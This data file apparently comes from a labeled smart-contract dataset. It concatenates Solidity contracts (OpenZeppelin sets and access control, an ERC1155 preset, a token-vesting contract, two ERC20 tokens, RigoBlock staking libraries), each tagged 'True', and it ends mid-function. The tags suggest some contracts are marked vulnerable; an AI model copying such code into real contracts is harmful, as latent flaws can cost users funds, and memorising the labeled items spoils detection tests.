* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// File openzeppelin-solidity/contracts/access/[email protected]
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerable {
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl {
using EnumerableSet for EnumerableSet.AddressSet;
mapping (bytes32 => EnumerableSet.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerable).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
}
// File contracts/1155Preset.sol
pragma solidity ^0.8.0;
/**
* @dev {ERC1155} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to other accounts.
*/
contract HD1155 is Context, AccessControlEnumerable, ERC1155Burnable, ERC1155Pausable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
string public name;
string public symbol;
address private _owner;
mapping(uint256 => string) private metadata;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE`, and `PAUSER_ROLE` to the account that
* deploys the contract.
*
* add in _owner for NFT marketplace compatibility
*/
constructor(string memory _uri) ERC1155(_uri) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
name = "Hail Draconis";
symbol = "HD";
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
*
* This implementation allows you to set a tokenURI for each token ID.
*
*/
function setTokenUri(uint256 id, string memory _metadata) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to setTokenURI");
metadata[id] = _metadata;
}
function uri(uint256 id) public view override returns(string memory) {
return metadata[id];
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
*
* See {ERC1155-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 id, uint256 amount, bytes memory data) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mint(to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] variant of {mint}.
*/
function mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have minter role to mint");
_mintBatch(to, ids, amounts, data);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC1155Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC1155PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC1155) returns (bool) {
return super.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
)
internal virtual override(ERC1155, ERC1155Pausable)
{
super._beforeTokenTransfer(operator, from, to, ids, amounts, data);
}
} | True | [
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pragma solidity 0.4.24;
contract ERC20TokenInterface {
function totalSupply () external constant returns (uint);
function balanceOf (address tokenOwner) external constant returns (uint balance);
function transfer (address to, uint tokens) external returns (bool success);
function transferFrom (address from, address to, uint tokens) external returns (bool success);
}
/**
* Math operations with safety checks that throw on overflows.
*/
library SafeMath {
function mul (uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div (uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub (uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add (uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
/**
* DreamTeam tokens vesting smart contract.
* This vesting smart contracts releases 50% of the tokens 6 months after the smart contract was initialized, and
* 100% tokens become available for withdrawal after 1 year.
* The withdrawal address is set during the initialization (initializeVestingFor function).
* To withdraw tokens, send an empty transaction to this smart contract address.
* Once vesting period (1 year) ends and after all tokens are withdrawn, this smart contract self-destructs.
*/
contract OneYearDreamTokensVesting {
using SafeMath for uint256;
/**
* Address of DREAM token.
*/
ERC20TokenInterface public dreamToken;
/**
* Address which will receive tokens. This address is set during initialization.
*/
address public withdrawalAddress = 0x0;
/**
* Tokens vesting stage structure with vesting date and tokens allowed to unlock.
*/
struct VestingStage {
uint256 date;
uint256 tokensUnlockedPercentage;
}
/**
* Array for storing all vesting stages with structure defined above.
*/
VestingStage[2] public stages;
/**
* Total amount of tokens to send.
*/
uint256 public initialTokensBalance;
/**
* Amount of tokens already sent.
*/
uint256 public tokensSent;
/**
* Unix timestamp at when the vesting has begun.
*/
uint256 public vestingStartUnixTimestamp;
/**
* Account that deployed this smart contract, which is authorized to initialize vesting.
*/
address public deployer;
modifier deployerOnly { require(msg.sender == deployer); _; }
modifier whenInitialized { require(withdrawalAddress != 0x0); _; }
modifier whenNotInitialized { require(withdrawalAddress == 0x0); _; }
/**
* Event raised on each successful withdraw.
*/
event Withdraw(uint256 amount, uint256 timestamp);
/**
* Dedicate vesting smart contract for a particular token during deployment.
* @param token Address of DreamToken that will be locked on contract.
*/
constructor (ERC20TokenInterface token) public {
dreamToken = token;
deployer = msg.sender;
}
/**
* Fallback: function that releases locked tokens within schedule. Send an empty transaction to this
* smart contract for withdrawalAddress to receive tokens.
*/
function () external {
withdrawTokens();
}
/**
* Vesting initialization function. Contract deployer has to trigger this function after vesting amount
* was sent to this smart contract.
* @param account Account to initialize vesting for.
*/
function initializeVestingFor (address account) external deployerOnly whenNotInitialized {
initialTokensBalance = dreamToken.balanceOf(this);
require(initialTokensBalance != 0);
withdrawalAddress = account;
vestingStartUnixTimestamp = block.timestamp;
vestingRules();
}
/**
* Calculate tokens amount that is sent to withdrawalAddress.
* @return Amount of tokens that can be sent.
*/
function getAvailableTokensToWithdraw () public view returns (uint256) {
uint256 tokensUnlockedPercentage = getTokensUnlockedPercentage();
// withdrawalAddress will only be able to get all additional tokens sent to this smart contract
// at the end of the vesting period
if (tokensUnlockedPercentage >= 100) {
return dreamToken.balanceOf(this);
} else {
return getTokensAmountAllowedToWithdraw(tokensUnlockedPercentage);
}
}
/**
* Setup array with vesting stages dates and percentages.
*/
function vestingRules () internal {
uint256 halfOfYear = 183 days;
uint256 year = halfOfYear * 2;
stages[0].date = vestingStartUnixTimestamp + halfOfYear;
stages[1].date = vestingStartUnixTimestamp + year;
stages[0].tokensUnlockedPercentage = 50;
stages[1].tokensUnlockedPercentage = 100;
}
/**
* Function for tokens withdrawal from the vesting smart contract. Triggered from the fallback function.
*/
function withdrawTokens () private whenInitialized {
uint256 tokensToSend = getAvailableTokensToWithdraw();
sendTokens(tokensToSend);
if (dreamToken.balanceOf(this) == 0) { // When all tokens were sent, destroy this smart contract
selfdestruct(withdrawalAddress);
}
}
/**
* Send tokens to withdrawalAddress.
* @param tokensToSend Amount of tokens will be sent.
*/
function sendTokens (uint256 tokensToSend) private {
if (tokensToSend == 0) {
return;
}
tokensSent = tokensSent.add(tokensToSend); // Update tokensSent variable to send correct amount later
dreamToken.transfer(withdrawalAddress, tokensToSend); // Send allowed number of tokens
emit Withdraw(tokensToSend, now); // Emitting a notification that tokens were withdrawn
}
/**
* Calculate tokens available for withdrawal.
* @param tokensUnlockedPercentage Percent of tokens that are allowed to be sent.
* @return Amount of tokens that can be sent according to provided percentage.
*/
function getTokensAmountAllowedToWithdraw (uint256 tokensUnlockedPercentage) private view returns (uint256) {
uint256 totalTokensAllowedToWithdraw = initialTokensBalance.mul(tokensUnlockedPercentage).div(100);
uint256 unsentTokensAmount = totalTokensAllowedToWithdraw.sub(tokensSent);
return unsentTokensAmount;
}
/**
* Get tokens unlocked percentage on current stage.
* @return Percent of tokens allowed to be sent.
*/
function getTokensUnlockedPercentage () private view returns (uint256) {
uint256 allowedPercent;
for (uint8 i = 0; i < stages.length; i++) {
if (now >= stages[i].date) {
allowedPercent = stages[i].tokensUnlockedPercentage;
}
}
return allowedPercent;
}
} | True | [
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] |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name; //中国兀牌主链 china pai brands blockchain
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | True | [
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] |
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WFC is IERC20 {
using SafeMath for uint256;
string public _name; //'WO1FCOIN';
string public _symbol; //'WFC';
uint256 public _totalSupply;
uint256 public _decimals; //18;
address public admin;
mapping(address => uint256) public _balanceOf;
mapping(address => mapping(address => uint256)) public _allowance;
constructor(string memory _Tname, string memory _Tsymbol, uint256 _TtotalSupply, uint256 _Tdecimals) {
_name = _Tname;
_symbol = _Tsymbol;
_totalSupply = _TtotalSupply;
_decimals = _Tdecimals;
_balanceOf[msg.sender] = _TtotalSupply;
admin = msg.sender;
emit Transfer(address(0), msg.sender, _TtotalSupply); // Minting amount from the network
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function totalSupply() override external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) override external view returns (uint256) {
return _balanceOf[account];
}
function transfer(address _to, uint256 _value) override public returns(bool success) {
require(_to != address(0), "Invalid address");
require(_value > 0, "Invalid amount");
require(_balanceOf[msg.sender] >= _value, "Insufficient balance");
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
require(_spender != address(0), "Invalid address");
require(_value > 0, "Invalid amount");
require(_balanceOf[msg.sender] >= _value, "Owner doesn't have enough balance to approve");
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
return _allowance[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
require(_from != address(0), "Invalid address");
require(_to != address(0), "Invalid address");
require(_value > 0, "Invalid amount");
require(_allowance[_from][msg.sender] >= _value, "You don't have the approval to spend this amount of tokens");
require(_balanceOf[_from] >= _value, "From address doesn't have enough balance to transfer");
_balanceOf[_from] = _balanceOf[_from].sub(_value);
_balanceOf[_to] = _balanceOf[_to].add(_value);
_allowance[_from][msg.sender] = _allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function mint(address to, uint256 value) public {
require(msg.sender == admin, "Only creator of the contract can mint tokens");
require(value > 0, "Invalid amount to mint");
_totalSupply = _totalSupply.add(value);
_balanceOf[to] = _balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function burn(address to, uint256 value) public {
require(msg.sender == admin, "Only creator of the contract can burn tokens");
require(value > 0, "Invalid amount to burn");
require(_totalSupply > 0, "Total Supply should be greater than 0");
require(value <= _totalSupply, "Value cannot be greater than total supply of tokens");
require(_balanceOf[to] >= value, "Not enough balance to burn");
_totalSupply = _totalSupply.sub(value);
_balanceOf[to] = _balanceOf[to].sub(value);
emit Transfer(to, address(0), value);
}
} | True | [
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] |
/**
*Submitted for verification at Etherscan.io on 2020-11-29
*/
// File: localhost/staking/interfaces/IGrgVault.sol
// SPDX-License-Identifier: Apache 2.0
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
interface IGrgVault {
/// @dev Emmitted whenever a StakingProxy is set in a vault.
event StakingProxySet(address stakingProxyAddress);
/// @dev Emitted when the Staking contract is put into Catastrophic Failure Mode
/// @param sender Address of sender (`msg.sender`)
event InCatastrophicFailureMode(address sender);
/// @dev Emitted when Grg Tokens are deposited into the vault.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens deposited.
event Deposit(
address indexed staker,
uint256 amount
);
/// @dev Emitted when Grg Tokens are withdrawn from the vault.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens withdrawn.
event Withdraw(
address indexed staker,
uint256 amount
);
/// @dev Emitted whenever the GRG AssetProxy is set.
event GrgProxySet(address grgProxyAddress);
/// @dev Sets the address of the StakingProxy contract.
/// Note that only the contract staker can call this function.
/// @param _stakingProxyAddress Address of Staking proxy contract.
function setStakingProxy(address _stakingProxyAddress)
external;
/// @dev Vault enters into Catastrophic Failure Mode.
/// *** WARNING - ONCE IN CATOSTROPHIC FAILURE MODE, YOU CAN NEVER GO BACK! ***
/// Note that only the contract staker can call this function.
function enterCatastrophicFailure()
external;
/// @dev Sets the Grg proxy.
/// Note that only the contract staker can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param grgProxyAddress Address of the RigoBlock Grg Proxy.
function setGrgProxy(address grgProxyAddress)
external;
/// @dev Deposit an `amount` of Grg Tokens from `staker` into the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens to deposit.
function depositFrom(address staker, uint256 amount)
external;
/// @dev Withdraw an `amount` of Grg Tokens to `staker` from the vault.
/// Note that only the Staking contract can call this.
/// Note that this can only be called when *not* in Catastrophic Failure mode.
/// @param staker of Grg Tokens.
/// @param amount of Grg Tokens to withdraw.
function withdrawFrom(address staker, uint256 amount)
external;
/// @dev Withdraw ALL Grg Tokens to `staker` from the vault.
/// Note that this can only be called when *in* Catastrophic Failure mode.
/// @param staker of Grg Tokens.
function withdrawAllFrom(address staker)
external
returns (uint256);
/// @dev Returns the balance in Grg Tokens of the `staker`
/// @return Balance in Grg.
function balanceOf(address staker)
external
view
returns (uint256);
/// @dev Returns the entire balance of Grg tokens in the vault.
function balanceOfGrgVault()
external
view
returns (uint256);
}
// File: localhost/staking/interfaces/IStructs.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
interface IStructs {
/// @dev Stats for a pool that earned rewards.
/// @param feesCollected Fees collected in ETH by this pool.
/// @param weightedStake Amount of weighted stake in the pool.
/// @param membersStake Amount of non-operator stake in the pool.
struct PoolStats {
uint256 feesCollected;
uint256 weightedStake;
uint256 membersStake;
}
/// @dev Holds stats aggregated across a set of pools.
/// @param rewardsAvailable Rewards (ETH) available to the epoch
/// being finalized (the previous epoch). This is simply the balance
/// of the contract at the end of the epoch.
/// @param numPoolsToFinalize The number of pools that have yet to be finalized through `finalizePools()`.
/// @param totalFeesCollected The total fees collected for the epoch being finalized.
/// @param totalWeightedStake The total fees collected for the epoch being finalized.
/// @param totalRewardsFinalized Amount of rewards that have been paid during finalization.
struct AggregatedStats {
uint256 rewardsAvailable;
uint256 numPoolsToFinalize;
uint256 totalFeesCollected;
uint256 totalWeightedStake;
uint256 totalRewardsFinalized;
}
/// @dev Encapsulates a balance for the current and next epochs.
/// Note that these balances may be stale if the current epoch
/// is greater than `currentEpoch`.
/// @param currentEpoch The current epoch
/// @param currentEpochBalance Balance in the current epoch.
/// @param nextEpochBalance Balance in `currentEpoch+1`.
struct StoredBalance {
uint64 currentEpoch;
uint96 currentEpochBalance;
uint96 nextEpochBalance;
}
/// @dev Statuses that stake can exist in.
/// Any stake can be (re)delegated effective at the next epoch
/// Undelegated stake can be withdrawn if it is available in both the current and next epoch
enum StakeStatus {
UNDELEGATED,
DELEGATED
}
/// @dev Info used to describe a status.
/// @param status Status of the stake.
/// @param poolId Unique Id of pool. This is set when status=DELEGATED.
struct StakeInfo {
StakeStatus status;
bytes32 poolId;
}
/// @dev Struct to represent a fraction.
/// @param numerator Numerator of fraction.
/// @param denominator Denominator of fraction.
struct Fraction {
uint256 numerator;
uint256 denominator;
}
/// @dev Holds the metadata for a staking pool.
/// @param operator Operator of the pool.
/// @param operatorShare Fraction of the total balance owned by the operator, in ppm.
/// @param stakingPal Wallet that collects 10% of otherwise redistributed community rewards.
struct Pool {
address operator;
uint32 operatorShare;
address stakingPal;
}
}
// File: localhost/staking/libs/LibStakingRichErrors.sol
/*
Original work Copyright 2019 ZeroEx Intl.
Modified work Copyright 2020 Rigo Intl.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity >=0.5.9 <0.8.0;
library LibStakingRichErrors {
enum OperatorShareErrorCodes {
OperatorShareTooLarge,
CanOnlyDecreaseOperatorShare
}
enum InitializationErrorCodes {
MixinSchedulerAlreadyInitialized,
MixinParamsAlreadyInitialized
}
enum InvalidParamValueErrorCodes {
InvalidCobbDouglasAlpha,
InvalidRewardDelegatedStakeWeight,
InvalidMaximumMakersInPool,
InvalidMinimumPoolStake,
InvalidEpochDuration
}
enum PopManagerErrorCodes {
PopAlreadyRegistered,
PopNotRegistered
}
// bytes4(keccak256("OnlyCallableByExchangeError(address)")) // TODO: amend to OnlyCallableByPopError
bytes4 internal constant ONLY_CALLABLE_BY_POP_ERROR_SELECTOR =
0xb56d2df0;
// bytes4(keccak256("PopManagerError(uint8,address)"))
bytes4 internal constant POP_MANAGER_ERROR_SELECTOR =
0xb9588e43;
// bytes4(keccak256("InsufficientBalanceError(uint256,uint256)"))
bytes4 internal constant INSUFFICIENT_BALANCE_ERROR_SELECTOR =
0x84c8b7c9;
// bytes4(keccak256("OnlyCallableByPoolOperatorError(address,bytes32)"))
bytes4 internal constant ONLY_CALLABLE_BY_POOL_OPERATOR_ERROR_SELECTOR =
0x82ded785;
// bytes4(keccak256("BlockTimestampTooLowError(uint256,uint256)"))
bytes4 internal constant BLOCK_TIMESTAMP_TOO_LOW_ERROR_SELECTOR =
0xa6bcde47;
// bytes4(keccak256("OnlyCallableByStakingContractError(address)"))
bytes4 internal constant ONLY_CALLABLE_BY_STAKING_CONTRACT_ERROR_SELECTOR =
0xca1d07a2;
// bytes4(keccak256("OnlyCallableIfInCatastrophicFailureError()"))
bytes internal constant ONLY_CALLABLE_IF_IN_CATASTROPHIC_FAILURE_ERROR =
hex"3ef081cc";
// bytes4(keccak256("OnlyCallableIfNotInCatastrophicFailureError()"))
bytes internal constant ONLY_CALLABLE_IF_NOT_IN_CATASTROPHIC_FAILURE_ERROR =
hex"7dd020ce";
// bytes4(keccak256("OperatorShareError(uint8,bytes32,uint32)"))
bytes4 internal constant OPERATOR_SHARE_ERROR_SELECTOR =
0x22df9597;
// bytes4(keccak256("PoolExistenceError(bytes32,bool)"))
bytes4 internal constant POOL_EXISTENCE_ERROR_SELECTOR =
0x9ae94f01;
// bytes4(keccak256("ProxyDestinationCannotBeNilError()"))
bytes internal constant PROXY_DESTINATION_CANNOT_BE_NIL_ERROR =
hex"6eff8285";
// bytes4(keccak256("InitializationError(uint8)"))
bytes4 internal constant INITIALIZATION_ERROR_SELECTOR =
0x0b02d773;
// bytes4(keccak256("InvalidParamValueError(uint8)"))
bytes4 internal constant INVALID_PARAM_VALUE_ERROR_SELECTOR =
0xfc45bd11;
// bytes4(keccak256("InvalidProtocolFeePaymentError(uint256,uint256)"))
bytes4 internal constant INVALID_PROTOCOL_FEE_PAYMENT_ERROR_SELECTOR =
0x31d7a505;
// bytes4(keccak256("PreviousEpochNotFinalizedError(uint256,uint256)"))
bytes4 internal constant PREVIOUS_EPOCH_NOT_FINALIZED_ERROR_SELECTOR =
0x614b800a;
// bytes4(keccak256("PoolNotFinalizedError(bytes32,uint256)"))
bytes4 internal constant POOL_NOT_FINALIZED_ERROR_SELECTOR =
0x5caa0b05;
// solhint-disable func-name-mixedcase
function OnlyCallableByPopError(
address senderAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_CALLABLE_BY_POP_ERROR_SELECTOR,
senderAddress
);
}
function PopManagerError(
PopManagerErrorCodes errorCodes,
address popAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
POP_MANAGER_ERROR_SELECTOR,
errorCodes,
popAddress
);
}
function InsufficientBalanceError(
uint256 amount,
uint256 balance
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INSUFFICIENT_BALANCE_ERROR_SELECTOR,
amount,
balance
);
}
function OnlyCallableByPoolOperatorError(
address senderAddress,
bytes32 poolId
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_CALLABLE_BY_POOL_OPERATOR_ERROR_SELECTOR,
senderAddress,
poolId
);
}
function BlockTimestampTooLowError(
uint256 epochEndTime,
uint256 currentBlockTimestamp
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
BLOCK_TIMESTAMP_TOO_LOW_ERROR_SELECTOR,
epochEndTime,
currentBlockTimestamp
);
}
function OnlyCallableByStakingContractError(
address senderAddress
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
ONLY_CALLABLE_BY_STAKING_CONTRACT_ERROR_SELECTOR,
senderAddress
);
}
function OnlyCallableIfInCatastrophicFailureError()
internal
pure
returns (bytes memory)
{
return ONLY_CALLABLE_IF_IN_CATASTROPHIC_FAILURE_ERROR;
}
function OnlyCallableIfNotInCatastrophicFailureError()
internal
pure
returns (bytes memory)
{
return ONLY_CALLABLE_IF_NOT_IN_CATASTROPHIC_FAILURE_ERROR;
}
function OperatorShareError(
OperatorShareErrorCodes errorCodes,
bytes32 poolId,
uint32 operatorShare
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
OPERATOR_SHARE_ERROR_SELECTOR,
errorCodes,
poolId,
operatorShare
);
}
function PoolExistenceError(
bytes32 poolId,
bool alreadyExists
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
POOL_EXISTENCE_ERROR_SELECTOR,
poolId,
alreadyExists
);
}
function InvalidProtocolFeePaymentError(
uint256 expectedProtocolFeePaid,
uint256 actualProtocolFeePaid
)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INVALID_PROTOCOL_FEE_PAYMENT_ERROR_SELECTOR,
expectedProtocolFeePaid,
actualProtocolFeePaid
);
}
function InitializationError(InitializationErrorCodes code)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
INITIALIZATION_ERROR_SELECTOR,
uint8(code)
);
}
function InvalidParamValueError(InvalidParamValueErrorCodes code)
internal
pure
returns (bytes memory)
{
return abi.encodeWithSelector(
